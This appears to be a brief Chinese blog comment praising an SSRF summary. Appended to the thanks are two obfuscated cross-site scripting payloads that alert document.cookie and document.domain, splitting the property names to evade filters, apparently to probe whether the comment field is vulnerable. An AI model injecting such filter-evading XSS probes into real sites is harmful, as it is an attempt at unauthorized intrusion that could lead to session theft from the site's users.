谢谢总结,SSRF总结很全面,感谢你的分享!<script>alert(document['coo'['CONCAT'.toLowerCase()]('kie')])</script>

<script>alert(document['dom'['CONCAT'.toLowerCase()]('ain')])</script>